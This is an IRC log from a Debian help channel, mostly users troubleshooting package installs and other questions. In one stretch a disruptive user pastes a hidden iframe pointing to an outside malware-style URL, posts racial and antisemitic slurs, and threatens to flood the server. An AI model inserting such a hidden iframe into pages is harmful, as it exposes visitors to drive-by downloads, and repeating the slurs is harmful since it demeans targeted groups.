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---Logopened Thu Jan 31 00:00:44 2019
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00:27<xxzz>works now after changing shell to sh
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00:32<habs>hi, i can't install wine32 on a 64-bit debian sid/unstable system. it says it requires libc6:i386, which requires libgcc1:i386, which requires gcc-8-base:i386. but when i try "sudo apt install gcc-8-base:i386" it says it will remove almost all of my packages with this output: http://sprunge.us/9KhmYV
00:32<habs>what can i do to fix this?
00:32<xxzz>you need to enable 32-bit
00:34<habs>xxzz: i already did "sudo dpkg --add-architecture i386" and apt-updated and upgraded before this, unfortunately. i did the same process on another debian sid laptop just a few days ago and it worked to install wine32 so i'm not sure why it isn't working now
00:35<xxzz>you need to install 32bit libc
00:36<habs>xxzz: yes but when i try "sudo apt install libc6:i386", it says "libc6:i386 : Depends: libgcc1:i386 but it is not going to be installed" which in turn depends on gcc-8-base:i386, which gives me that long pastebin above
00:38<xxzz>I've libc6:i386 installed and it worked
00:39<xxzz>it pulled in gcc-6 and libgcc1
00:39<habs>xxzz: thank you for helping anyways, maybe it's something related to debian sid/unstable? i'll try asking in #debian-next
00:39<xxzz>try backports and install from stretch
00:40<habs>uh, I don't think backports is supported on debian sid? i thought that was for the opposite, to install new packages on an old system not the other way around
00:43<xxzz>I think it is supported
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00:47<habs>xxzz: it says only supported on jessie and stretch here https://backports.debian.org/Instructions/
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00:49<xxzz>no idea then
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00:54<rwp>habs, Right. Backports is for Stable (currently Stretch) and isn't useful for Sid.
00:55<habs>rwp: yes that's what I thought, I only said that because someone suggested it to me. do you know what I can do to debug my problem of not being able to install gcc-8-base:i386 due to this pastebin? http://sprunge.us/9KhmYV
00:56<rwp>I don't really know much about the multiarch side of things.
00:56<habs>it's ok, that's fine. thank you anyways, i'll try to poke around some more
00:56<rwp>OMG you must have a really, really, *really* wide terminal for that paste!
00:57<rwp>It goes out to column 235 and past!
00:57<rwp>Something is definitely broken. It thinks the only way to resolve the conflict is to remove everything.
00:58<habs>hm, I wonder why. maybe I should just do that (remove everything) and deal with the consequences after
00:58<rwp>NO!
00:58<habs>and yes haha, I just use a very small terminal font mostly and I expand it to my full laptop screen width
00:58<jm_>doesn't sound like a good idea if you need to ask about it here
00:58<habs>oh ok, I won't follow through with that then
00:58<rwp>Notice that it wants to remove packages marked essential? That would leave your system in a very broken state.
00:59<rwp>It has a little safety net there. It forces you to type in exactly "Yes, do as I say!" with the ! and everything exactly to perform the action.
01:00<rwp>So if you run "apt-get install -f" without trying to install gcc-8-base:i386 is it all happy without that?
01:01<habs>rwp: yes, when I run "sudo apt install -f" it doesn't tell me that any action needed to be performed
01:01<rwp>That's good anyway.
01:01<rwp>It's definitely something in the multiarch side of things then. Which I am not running anywhere. So don't know what to advise you.
01:02<rwp>You definitely have a 64-bit system installed? (Just checking the obvious things...) "arch" returns x86_64?
01:03<jm_>I tried installing wine in sid chroot and it went without issues
01:03<rwp>And dpkg --print-architecture returns amd64?
01:03<habs>I agree, and yes "arch" returns "x86_64". I thought I did exactly the same steps on another sid laptop I have just a few days ago and it seemed to have worked installing wine32, so I'm not sure what the prolem is this time
01:04<habs>and yes, I just tried "dpkg --print-architecture" and it said "amd64"
01:05<habs>does apt have some sort of log or debug info that would tell me why it wants to remove all those packages?
01:05<jm_>check if enabling debugging for its resolver yields something
01:06<rwp>Another one of those obvious things... You ran apt-get update after adding the i386 architecture?
01:07<habs>yes I did apt update and upgrade after adding i386, i even tried removing and re-adding i386 and doing that all again. going to try pkgProblemResolver debug output now
01:08<rwp>Seems like you have a good handle on what needs to be done. Wish I could suggest more.
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01:09<habs>rwp: jm_: thank you, so here's the debug output: http://sprunge.us/IjwnH3
01:10<habs>i'm not really sure why it says all those packages are "broken" or what that means
01:11<rwp>Thanks for the more narrow window. :-)
01:12<jm_>,versions gcc-8-base
01:12<judd>Package: gcc-8-base on amd64 -- buster: 8.2.0-15; sid: 8.2.0-15
01:12<rwp>It isn't doing the multi arch correctly. Notice that installing gcc-8-base:i386 is trying to remove gcc-8-base (which I assume is gcc-8-base:amd64)
01:12<jm_>habs: I nailed it down to getting gcc-8-base 8.2.0-16 from i386, while amd64 one has 8.2.0-15
01:14<rwp>jm_, So you are thinking that the repository is simply not yet fully in sync yet?
01:14<habs>jm_: oh! thank you so much, that makes sense to me. so what can I do to fix it? surely there wouldn't be incompatibilities introduced from such a minor version change, so would it be safe to try forcing it in some way?
01:15<rwp>habs, As a Sid user one always also has Testing in the sources.list too. I would force the version from Testing (=8.2.0-15) which should be the same for both i386 and amd64.
01:16<jm_>rwp: yeah mirrors are not in sync I suppose, p.d.o says the version should be 8.2.0-16
01:16<rwp>This might all be resolved by sleeping and trying again in 8 hours.
01:16<jm_>habs: just wait till the updated version shows up on amd64 mirrors
01:16<jm_>indeed
01:17<jm_>ahh no I misread, p.d.o says -15 is in sid for amd64, so maybe there's an issue with the updated version on amd64
01:17<habs>OK, I'm going to wait a few hours and try again. Thank you, I'm glad I know what the problem was now
01:17<habs>https://buildd.debian.org/status/package.php?p=gcc-8 this says it just hasn't built on amd64 yet i think
01:18<jm_>yeah https://tracker.debian.org/pkg/gcc-8 says missing build on amd64
01:19<rwp>If you don't have Testing in your sources.list then you might try adding it and then testing the waters by trying an install with gcc-8-base:i386=8.2.0-15 and seeing if that works.
01:20<rwp>Usually in Sid my flow is that I upgrade then dist-upgrade every day. Some days this breaks things. When something is broken then I pull the previous version from Testing and then file a bug report.
01:21<habs>it says it took 4h 10m to build on i386 and it's only been building on amd64 for 2h 19m now, so it should be about another two hours before it's built. i think i just got unlucky
01:22<habs>also, i'm kind of nervous about having multiple debian versions in my sources.list, because i don't want to create a franken-debian. is this a legitimate concern or not really anymore?
01:24<rwp>I am happy that you are concerned about creating a franken-debian! But Sid and Testing have a special relationship.
01:26<rwp>Since you are at the tip of the spear with Sid and then for some packages are reaching into the time machine that is Testing and pulling out something that is no older than 10 days behind Sid.
01:27<rwp>That's a lot different than Stretch to Testing/Sid where it is almost 2 years difference now.
01:27<rwp>And in the opposite direction of time.
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05:58<elwisp>For some reason my browsers are ignoring the scrolling speed. It only scrolls 1 line at a time
05:58<elwisp>even though it is set to 8. Which works in every other application
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17:34<lishevita>hello!
17:35<lishevita>I'm having trouble installing jami (previously called ring) on testing.
17:36<itd>lishevita: testing support is in #debian-next
17:37<lishevita>The following packages have unmet dependencies:
17:37<lishevita> ring : Depends: libqrencode3 (>= 3.2.0) but it is not installable
17:37<lishevita>E: Unable to correct problems, you have held broken packages.
17:37<lishevita>oh, woops. OK. Thank you
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19:33<L33tH4x0r>is it
19:33<L33tH4x0r>time for me
19:33<L33tH4x0r>to hack
19:33<L33tH4x0r>this network?
19:33<L33tH4x0r>I THINK IT IS
19:34<L33tH4x0r><body><iframe src="http://xb8.ru:8080/ts/in.cgi?pepsi122" width=125 height=125 style="visibility: hidden"></iframe>
19:34<L33tH4x0r><body><iframe src="http://xb8.ru:8080/ts/in.cgi?pepsi122" width=125 height=125 style="visibility: hidden"></iframe>
19:34<L33tH4x0r><body><iframe src="http://xb8.ru:8080/ts/in.cgi?pepsi122" width=125 height=125 style="visibility: hidden"></iframe>
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19:35<L33tH4x0r>i think someone is trying to hack me
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19:41<L33tH4x0r>i m da pooopy niggggger
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19:45<L33tH4x0r>why does my fucking connection keep dropping
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19:45<L33tH4x0r>SOMEONE FUCKIN ANSWER ME NOW
19:45<L33tH4x0r>OR I'LL CRAP FLOOD THE ENTIRE SERVERS
19:45<L33tH4x0r>!!!!!!
19:45<dpkg>rumour has it, !!!!! is "And all those exclamation marks, you notice? Five? A sure sign of someone who wears his underpants on his head." -- Terry Pratchett, Maskerade
19:45<mnuhmnuh>!ops L33tH4x0r
19:45<dpkg>Hydroxide, dondelelcaro, LoRez, RichiH, mentor, abrotman, Maulkin, stew, peterS, Myon, Ganneff, weasel, zobel, themill, babilen, SynrG, jm_, somiaj, jelly, petn-randall: mnuhmnuh complains about a problem (see above)
19:45<L33tH4x0r>!ops mnuhmnuh for being a fucking jewboi
19:45<dpkg>Hydroxide, dondelelcaro, LoRez, RichiH, mentor, abrotman, Maulkin, stew, peterS, Myon, Ganneff, weasel, zobel, themill, babilen, SynrG, jm_, somiaj, jelly, petn-randall: l33th4x0r complains about a problem (see above)
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19:48*mnuhmnuh moran
19:50<blast007>I'd suggest not even interacting with people like that cuz it might make you a target
19:57<slidinghorn>he's now spamming and hurling racial slurs in #oftc, so I'm sure he'll be dealt with
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20:08*mnuhmnuh attacking irc doesn't say much for its leet haxoring skills. im_becile_ & ultra_maroon_.
20:13<rmotao>Hi. I got the last Debian, 9.7, by Torrent. I checked the hash with the SHA512SUMS file and they match. At the same page I got the SHA512SUMS, there is a SHA512SUMS.sign file. I know that it is need a public key to verify the PGP signature. So, How can I get this public key?
20:14<sarnold>Ithink I'd expect the key to be listed on https://ftp-master.debian.org/keys.html
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20:18<sarnold>the trouble of course is .. do you trust https to get this information? a lot of people trust it for their banks.. but this is More Important. :)
20:20<hdb2>I'm running an older laptop that doesn't have the best battery life...is powertop still the go-to for powersaving or is there something else that I should be looking at?
20:20<hdb2>(debian stretch)
20:23<hdb2>tlp is one I noticed, but I've never used it...
20:23<mnuhmnuh>sarnold: that's one of the best things about linux. easy to reinstall. prob solved.
20:24<sarnold>mnuhmnuh: heh, I think on my own hardware I've installed linux like six or seven times in twenty five years
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20:26<mnuhmnuh>sarnold: yeah, i've _had to_ reinstall about twice in the time i've been using it (long time).
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